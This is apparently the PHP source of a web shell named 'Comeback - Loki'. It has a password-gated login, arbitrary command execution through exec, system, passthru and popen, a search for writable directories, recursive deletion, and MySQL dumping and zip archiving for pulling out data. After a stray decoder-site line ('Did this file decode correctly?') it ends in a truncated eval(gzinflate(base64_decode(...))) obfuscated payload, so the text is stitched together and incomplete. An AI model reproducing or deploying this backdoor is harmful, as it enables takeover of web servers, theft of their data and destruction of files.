<body background=http://farm3.anhso.net/upload/20110831/22/o/anhso-22701_loki.jpg>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>.::[ Welcome To Comeback - Loki ]::. </title>
<style type="text/css">
A:link {text-decoration: none; color: green }
A:visited {text-decoration: none;color:red}
A:active {text-decoration: none}
A:hover {text-decoration: underline; color: green;}
input, textarea, button
{
font-size: 11pt;
color: #FFFFFF;
font-family: verdana, sans-serif;
background-color: #000000;
border-left: 2px dashed #8B0000;
border-top: 2px dashed #8B0000;
border-right: 2px dashed #8B0000;
border-bottom: 2px dashed #8B0000;
}
</style>
<BR><BR>
<div align=center >
<div>
<font color=gray>
<br /><br /><br /><br /><br />
<form method="POST" action="">
<span style="font:20pt tahoma;"> </span><input name="password" type="password" size="30">
<input type="hidden" name="doing" value="login">
<input type="submit" value="Login">
</form>
<BR>
<?php
echo "".$err_mess."";
?>
<B><font color=red>
</div>
</fieldset>
</head>
</html>
<?php
exit;
}//end loginpage()
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,base64_decode($text));
@fclose($fp);
}
}
// Debug
function debuginfo() {
global $starttime;
$mtime = explode(' ', microtime());
$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
echo 'Processed in '.$totaltime.' second(s)';
}
// Function connect database
function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
p('<h2>Can not connect to MySQL server</h2>');
exit;
}
if($link && $dbname) {
if (!@mysql_select_db($dbname, $link)) {
p('<h2>Database selected has error</h2>');
exit;
}
}
if($link && mysql_get_server_info() > '4.1') {
if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
}
}
return $link;
}
// Array strip
function s_array(&$array) {
if (is_array($array)) {
foreach ($array as $k => $v) {
$array[$k] = s_array($v);
}
} else if (is_string($array)) {
$array = stripslashes($array);
}
return $array;
}
// HTML Strip
function html_clean($content) {
$content = htmlspecialchars($content);
$content = str_replace("\n", "<br />", $content);
$content = str_replace(" ", " ", $content);
$content = str_replace("\t", " ", $content);
return $content;
}
// Chmod
function getChmod($filepath){
return substr(base_convert(@fileperms($filepath),10,8),-4);
}
function getPerms($filepath) {
$mode = @fileperms($filepath);
if (($mode & 0xC000) === 0xC000) {$type = 's';}
elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
else {$type = '?';}
$owner['read'] = ($mode & 00400) ? 'r' : '-';
$owner['write'] = ($mode & 00200) ? 'w' : '-';
$owner['execute'] = ($mode & 00100) ? 'x' : '-';
$group['read'] = ($mode & 00040) ? 'r' : '-';
$group['write'] = ($mode & 00020) ? 'w' : '-';
$group['execute'] = ($mode & 00010) ? 'x' : '-';
$world['read'] = ($mode & 00004) ? 'r' : '-';
$world['write'] = ($mode & 00002) ? 'w' : '-';
$world['execute'] = ($mode & 00001) ? 'x' : '-';
if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
}
function getUser($filepath) {
if (function_exists('posix_getpwuid')) {
$array = @posix_getpwuid(@fileowner($filepath));
if ($array && is_array($array)) {
return ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>';
}
}
return '';
}
// Delete dir
function deltree($deldir) {
$mydir=@dir($deldir);
while($file=$mydir->read()) {
if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
@chmod($deldir.'/'.$file,0777);
deltree($deldir.'/'.$file);
}
if (is_file($deldir.'/'.$file)) {
@chmod($deldir.'/'.$file,0777);
@unlink($deldir.'/'.$file);
}
}
$mydir->close();
@chmod($deldir,0777);
return @rmdir($deldir) ? 1 : 0;
}
// Background
function bg() {
global $bgc;
return ($bgc++%2==0) ? 'alt1' : 'alt2';
}
// Get path
function getPath($scriptpath, $nowpath) {
if ($nowpath == '.') {
$nowpath = $scriptpath;
}
$nowpath = str_replace('\\', '/', $nowpath);
$nowpath = str_replace('//', '/', $nowpath);
if (substr($nowpath, -1) != '/') {
$nowpath = $nowpath.'/';
}
return $nowpath;
}
// Get up path
function getUpPath($nowpath) {
$pathdb = explode('/', $nowpath);
$num = count($pathdb);
if ($num > 2) {
unset($pathdb[$num-1],$pathdb[$num-2]);
}
$uppath = implode('/', $pathdb).'/';
$uppath = str_replace('//', '/', $uppath);
return $uppath;
}
// Config
function getcfg($varname) {
$result = get_cfg_var($varname);
if ($result == 0) {
return 'No';
} elseif ($result == 1) {
return 'Yes';
} else {
return $result;
}
}
// Function name
function getfun($funName) {
return (false !== function_exists($funName)) ? 'Yes' : 'No';
}
function GetList($dir){
global $dirdata,$j,$nowpath;
!$j && $j=1;
if ($dh = opendir($dir)) {
while ($file = readdir($dh)) {
$f=str_replace('//','/',$dir.'/'.$file);
if($file!='.' && $file!='..' && is_dir($f)){
if (is_writable($f)) {
$dirdata[$j]['filename']=str_replace($nowpath,'',$f);
$dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
$dirdata[$j]['dirchmod']=getChmod($f);
$dirdata[$j]['dirperm']=getPerms($f);
$dirdata[$j]['dirlink']=ue($dir);
$dirdata[$j]['server_link']=$f;
$dirdata[$j]['client_link']=ue($f);
$j++;
}
GetList($f);
}
}
closedir($dh);
clearstatcache();
return $dirdata;
} else {
return array();
}
}
function qy($sql) {
//echo $sql.'<br>';
$res = $error = '';
if(!$res = @mysql_query($sql)) {
return 0;
} else if(is_resource($res)) {
return 1;
} else {
return 2;
}
return 0;
}
function q($sql) {
return @mysql_query($sql);
}
function fr($qy){
mysql_free_result($qy);
}
function sizecount($size) {
if($size > 1073741824) {
$size = round($size / 1073741824 * 100) / 100 . ' G';
} elseif($size > 1048576) {
$size = round($size / 1048576 * 100) / 100 . ' M';
} elseif($size > 1024) {
$size = round($size / 1024 * 100) / 100 . ' K';
} else {
$size = $size . ' B';
}
return $size;
}
// Zip
class PHPZip{
var $out='';
function PHPZip($dir) {
if (@function_exists('gzcompress')) {
$curdir = getcwd();
if (is_array($dir)) $filelist = $dir;
else{
$filelist=$this -> GetFileList($dir);//File list
foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
}
if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
else chdir($curdir);
if (count($filelist)>0){
foreach($filelist as $filename){
if (is_file($filename)){
$fd = fopen ($filename, 'r');
$content = @fread ($fd, filesize($filename));
fclose ($fd);
if (is_array($dir)) $filename = basename($filename);
$this -> addFile($content, $filename);
}
}
$this->out = $this -> file();
chdir($curdir);
}
return 1;
}
else return 0;
}
// Show file list
function GetFileList($dir){
static $a;
if (is_dir($dir)) {
if ($dh = opendir($dir)) {
while ($file = readdir($dh)) {
if($file!='.' && $file!='..'){
$f=$dir .'/'. $file;
if(is_dir($f)) $this->GetFileList($f);
$a[]=$f;
}
}
closedir($dh);
}
}
return $a;
}
var $datasec = array();
var $ctrl_dir = array();
var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
var $old_offset = 0;
function unix2DosTime($unixtime = 0) {
$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
if ($timearray['year'] < 1980) {
$timearray['year'] = 1980;
$timearray['mon'] = 1;
$timearray['mday'] = 1;
$timearray['hours'] = 0;
$timearray['minutes'] = 0;
$timearray['seconds'] = 0;
} // end if
return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
}
function addFile($data, $name, $time = 0) {
$name = str_replace('\\', '/', $name);
$dtime = dechex($this->unix2DosTime($time));
$hexdtime = '\x' . $dtime[6] . $dtime[7]
. '\x' . $dtime[4] . $dtime[5]
. '\x' . $dtime[2] . $dtime[3]
. '\x' . $dtime[0] . $dtime[1];
eval('$hexdtime = "' . $hexdtime . '";');
$fr = "\x50\x4b\x03\x04";
$fr .= "\x14\x00";
$fr .= "\x00\x00";
$fr .= "\x08\x00";
$fr .= $hexdtime;
$unc_len = strlen($data);
$crc = crc32($data);
$zdata = gzcompress($data);
$c_len = strlen($zdata);
$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
$fr .= pack('V', $crc);
$fr .= pack('V', $c_len);
$fr .= pack('V', $unc_len);
$fr .= pack('v', strlen($name));
$fr .= pack('v', 0);
$fr .= $name;
$fr .= $zdata;
$fr .= pack('V', $crc);
$fr .= pack('V', $c_len);
$fr .= pack('V', $unc_len);
$this -> datasec[] = $fr;
$new_offset = strlen(implode('', $this->datasec));
$cdrec = "\x50\x4b\x01\x02";
$cdrec .= "\x00\x00";
$cdrec .= "\x14\x00";
$cdrec .= "\x00\x00";
$cdrec .= "\x08\x00";
$cdrec .= $hexdtime;
$cdrec .= pack('V', $crc);
$cdrec .= pack('V', $c_len);
$cdrec .= pack('V', $unc_len);
$cdrec .= pack('v', strlen($name) );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('V', 32 );
$cdrec .= pack('V', $this -> old_offset );
$this -> old_offset = $new_offset;
$cdrec .= $name;
$this -> ctrl_dir[] = $cdrec;
}
function file() {
$data = implode('', $this -> datasec);
$ctrldir = implode('', $this -> ctrl_dir);
return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
}
}
// Dump mysql
function sqldumptable($table, $fp=0) {
$tabledump = "DROP TABLE IF EXISTS $table;\n";
$tabledump .= "CREATE TABLE $table (\n";
$firstfield=1;
$fields = q("SHOW FIELDS FROM $table");
while ($field = mysql_fetch_array($fields)) {
if (!$firstfield) {
$tabledump .= ",\n";
} else {
$firstfield=0;
}
$tabledump .= " $field[Field] $field[Type]";
if (!empty($field["Default"])) {
$tabledump .= " DEFAULT '$field[Default]'";
}
if ($field['Null'] != "YES") {
$tabledump .= " NOT NULL";
}
if ($field['Extra'] != "") {
$tabledump .= " $field[Extra]";
}
}
fr($fields);
$keys = q("SHOW KEYS FROM $table");
while ($key = mysql_fetch_array($keys)) {
$kname=$key['Key_name'];
if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
$kname="UNIQUE|$kname";
}
if(!is_array($index[$kname])) {
$index[$kname] = array();
}
$index[$kname][] = $key['Column_name'];
}
fr($keys);
while(list($kname, $columns) = @each($index)) {
$tabledump .= ",\n";
$colnames=implode($columns,",");
if ($kname == "PRIMARY") {
$tabledump .= " PRIMARY KEY ($colnames)";
} else {
if (substr($kname,0,6) == "UNIQUE") {
$kname=substr($kname,7);
}
$tabledump .= " KEY $kname ($colnames)";
}
}
$tabledump .= "\n);\n\n";
if ($fp) {
fwrite($fp,$tabledump);
} else {
echo $tabledump;
}
$rows = q("SELECT * FROM $table");
$numfields = mysql_num_fields($rows);
while ($row = mysql_fetch_array($rows)) {
$tabledump = "INSERT INTO $table VALUES(";
$fieldcounter=-1;
$firstfield=1;
while (++$fieldcounter<$numfields) {
if (!$firstfield) {
$tabledump.=", ";
} else {
$firstfield=0;
}
if (!isset($row[$fieldcounter])) {
$tabledump .= "NULL";
} else {
$tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
}
}
$tabledump .= ");\n";
if ($fp) {
fwrite($fp,$tabledump);
} else {
echo $tabledump;
}
}
fr($rows);
if ($fp) {
fwrite($fp,"\n");
} else {
echo "\n";
}
}
function ue($str){
return urlencode($str);
}
function p($str){
echo $str."\n";
}
function tbhead() {
p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
}
function tbfoot(){
p('</table>');
}
function makehide($name,$value=''){
p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
}
function makeinput($arg = array()){
$arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
$arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
!$arg['type'] && $arg['type'] = 'text';
$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
$arg['class'] = $arg['class'] ? $arg['class'] : 'input';
if ($arg['newline']) {
p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
} else {
p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
}
}
function makeselect($arg = array()){
if ($arg['onchange']) {
$onchange = 'onchange="'.$arg['onchange'].'"';
}
$arg['title'] = $arg['title'] ? $arg['title'] : '';
if ($arg['newline']) p('<p>');
p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
if (is_array($arg['option'])) {
foreach ($arg['option'] as $key=>$value) {
if ($arg['selected']==$key) {
p("<option value=\"$key\" selected>$value</option>");
} else {
p("<option value=\"$key\">$value</option>");
}
}
}
p("</select>");
if ($arg['newline']) p('</p>');
}
function formhead($arg = array()) {
!$arg['method'] && $arg['method'] = 'post';
!$arg['action'] && $arg['action'] = $self;
$arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
!$arg['name'] && $arg['name'] = 'form1';
p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
if ($arg['title']) {
p('<h2>'.$arg['title'].' »</h2>');
}
}
function maketext($arg = array()){
!$arg['cols'] && $arg['cols'] = 100;
!$arg['rows'] && $arg['rows'] = 25;
$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
}
function formfooter($name = ''){
!$name && $name = 'submit';
p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
p('</form>');
}
function formfoot(){
p('</form>');
}
// Exit
function pr($a) {
echo '<pre>';
print_r($a);
echo '</pre>';
}
?><?
Did this file decode correctly?
Original Code
<? eval(gzinflate(base64_decode('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